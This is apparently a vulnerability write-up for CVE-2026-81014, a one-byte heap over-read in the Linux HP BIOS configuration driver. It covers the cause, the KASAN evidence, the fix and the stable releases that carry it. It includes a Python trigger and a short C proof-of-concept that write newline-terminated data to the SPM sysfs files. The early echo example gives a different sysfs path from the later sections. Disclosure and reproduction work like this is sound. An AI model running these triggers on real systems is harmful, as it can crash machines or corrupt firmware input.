# CVE-2026-81014: heap OOB read in hp-bioscfg sk_store() and kek_store()

**Patch:** [a7508c7959ff8d037327d377ed21a9c0eabe4674](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a7508c7959ff8d037327d377ed21a9c0eabe4674) (mainline, landed in 7.3-rc1)
**Subsystem:** platform/x86, HP BIOS configuration driver
**Affected file:** drivers/platform/x86/hp/hp-bioscfg/spmobj-attributes.c
**CVE record:** [CVE-2026-81014](https://www.cve.org/CVERecord?id=CVE-2026-81014)
**Introduced in:** 6.6, commit b2715aa2e1352c0060b9dcba57a2e465bbfbcd68

## The bug in one sentence

Two sysfs store handlers stripped a trailing newline from the input, allocated a buffer for the shortened length, and then told the firmware interface to copy the original, longer length out of that buffer. One byte of heap past the end, every single time you use echo.

## Why I like this one

This is my favorite kind of bug because the trigger is completely boring. You do not need a fancy crafted input. You just run:

```bash
echo "some signing key material" > /sys/class/hp-bioscfg/.../spm_data/signing_key
```

and the kernel reads one byte past a kmemdup allocation. Every shell echo appends a newline, so the normal, everyday, documented way of writing to sysfs is the trigger. Bugs that fire on the happy path are the best argument for fuzzing the happy path.

## How the code got here

sk_store() and kek_store() handle the Secure Platform Management (SPM) attributes, the signing key and the key endorsement key. The pattern in both functions was:

```c
length = count;
if (buf[length - 1] == '\n')
        length--;
bioscfg_drv.spm_data.signing_key = kmemdup(buf, length, GFP_KERNEL);
...
ret = hp_wmi_perform_query(HPWMI_SECUREPLATFORM_SET_SK,
                           HPWMI_SECUREPLATFORM,
                           (void *)bioscfg_drv.spm_data.signing_key,
                           count, 0);
```

Look at the last argument pair. The buffer holds length bytes. The query is told there are count bytes. When the write ends in a newline, count is length + 1, and hp_wmi_perform_query() memcpy()s count bytes out of a length sized allocation. One byte past the end, into WMI firmware request territory.

## What KASAN says

I reproduced this under KASAN before sending the fix, because "one byte" deserves a receipt:

```text
BUG: KASAN: slab-out-of-bounds in hp_wmi_perform_query+0x1e9/0x460 [hp_bioscfg]
Read of size 28 at addr ffff88813c8e2b80 by task python3/16022
...
sk_store+0xa7/0x240 [hp_bioscfg]
kernfs_fop_write_iter+0x3e1/0x5d0
...
The buggy address is located 0 bytes inside of
allocated 27-byte region [ffff88813c8e2b80, ffff88813c8e2b9b)
```

A 28 byte write into a 27 byte allocation. I got the identical report from kek_store, and at write sizes of 28, 57 and 201 bytes. Every time, exactly one byte past an allocation one byte smaller than the write. Consistency is nice in a bug report.

## The fix

Two characters per function:

```diff
 	ret = hp_wmi_perform_query(HPWMI_SECUREPLATFORM_SET_SK,
 				   HPWMI_SECUREPLATFORM,
 				   (void *)bioscfg_drv.spm_data.signing_key,
-				   count, 0);
+				   length, 0);
```

Same change in kek_store(). Full patch: [a7508c7959ff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a7508c7959ff8d037327d377ed21a9c0eabe4674)

## How to trigger it

The SPM attributes are write-only files under the authentication directory the driver creates:

```bash
ls /sys/class/firmware-attributes/hp/authentication/SPM/
# status  is_enabled  key_mechanism  role  sk  kek  auth_token
```

The trigger is any write that ends in a newline, which is what every shell echo produces:

```python
with open("/sys/class/firmware-attributes/hp/authentication/SPM/sk", "wb") as f:
    f.write(b"A" * 27 + b"\n")
```

count is 28, length is 27 after the strip, the buffer holds 27 bytes, and hp_wmi_perform_query() memcpy()s 28. Same result on `kek`. You need root, the hp_bioscfg module loaded, and an HP machine whose firmware exposes the Secure Platform Management interface. On a KASAN kernel the report is the 27 byte allocation versus read of size 28 shown above, and the write still returns success, so nothing in dmesg flags it without KASAN.

## Score and classification

Neither the kernel CNA nor NVD has published a CVSS score for this one. The CVE record itself carries no metrics, and NVD still lists it in Received status. The scores that do exist come from distros re-scoring it for their own trackers:

* Red Hat: 5.5 MEDIUM, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, with CWE-125 (out-of-bounds read). Red Hat marks all its products Not affected because it does not ship this driver path in an exposed way (Bugzilla [2532503](https://bugzilla.redhat.com/show_bug.cgi?id=2532503)).
* SUSE: 4.4 MEDIUM.
* OffSeq threat radar labels it Medium with an EPSS around 0.2 percent.

My own read: it is a one byte over read whose value goes straight into a WMI query buffer, so the practical impact is a crash at worst and garbage firmware input at best. Availability leaning, low confidentiality impact, needs local write access to the sysfs attribute. The 5.5 from Red Hat feels about right.

## Exploit code

```c
/* spm_oob_read.c: CVE-2026-81014
 * gcc -o poc poc.c && sudo ./poc
 * vulnerable kernel: 1-byte heap OOB read per newline-terminated write,
 * KASAN slab-out-of-bounds in hp_wmi_perform_query; fixed: clean write
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1]
		: "/sys/class/firmware-attributes/hp/authentication/SPM/sk";
	char buf[28];
	int fd = open(path, O_WRONLY);

	if (fd < 0) { perror(path); return 1; }

	memset(buf, 'A', sizeof(buf) - 1);
	buf[sizeof(buf) - 1] = '\n';   /* count=28, kmemdup gets 27,
	                                  query memcpy reads 28 */
	if (write(fd, buf, sizeof(buf)) < 0)
		perror("write");
	else
		printf("wrote 28 bytes to %s\n", path);
	close(fd);
	return 0;
}
```

Run it against both `sk` and `kek`. The byte that escapes the allocation goes straight into the WMI query buffer, so on the vulnerable kernel under KASAN every single run prints the 27 byte region versus read of size 28 report quoted above, and the write still returns success. Change the buffer size to 57 or 201 and the splat follows exactly, one byte past each time. Post-fix nothing changes for the user, the query just copies length instead of count. Public status: no KEV, no public exploit before this note; the KASAN log and the echo trigger are inside the public CVE record, so reproduction was always trivial for anyone with the hardware, but the over-read byte never reaches userspace, which is why nobody weaponized it.

## Where the fix shipped

* 6.12.109: [4c6374dcb270](https://git.kernel.org/stable/c/4c6374dcb270d12907b880cf82a5a5ef21785fc3)
* 6.18.50: [7cd8fe01aba3](https://git.kernel.org/stable/c/7cd8fe01aba303a2382db0966eb6c8ab41d5f3c2)
* 7.2.4: [67b60703d7d8](https://git.kernel.org/stable/c/67b60703d7d8af1ca0e49f72e1bdb1ccecd41b5b)
* 7.3-rc1: [a7508c7959ff](https://git.kernel.org/stable/c/a7508c7959ff8d037327d377ed21a9c0eabe4674)

Debian shipped it in [DSA-6528-1](https://www.debian.org/security/2026/dsa-6528) and [DLA-4817-1](https://security-tracker.debian.org/tracker/DLA-4817-1). Ubuntu had it marked work in progress on noble and resolute as of late October 2026. As always, the kernel teams' recommendation is to take the whole stable release rather than cherry picking single commits.

## References

1. [Upstream commit a7508c7959ff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a7508c7959ff8d037327d377ed21a9c0eabe4674)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091154-CVE-2026-81014-c9e8@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-81014)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-81014)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-81014)
6. [freenode.net coverage of the hp-bioscfg hardening series](https://freenode.net/article/hp-bios-config-driver-gets-heap-overflow-and-oob-fixes)
